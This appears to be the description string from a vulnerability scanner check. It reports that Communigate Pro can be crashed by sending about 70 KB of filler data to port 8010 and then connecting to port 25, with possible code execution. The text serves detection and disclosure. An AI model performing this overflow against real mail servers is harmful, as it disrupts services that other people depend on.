"The remote host appears to be running Communigate Pro, a commercial email and groupware application.

It was possible to crash this service by :

  - First, connecting to port 8010 and sending 70 KB     of data (AAA[...]AAA) followed by '\r
'.

  - Then, connecting to port 25.

A remote attacker could exploit this to crash the service, or possibly execute arbitrary code.");
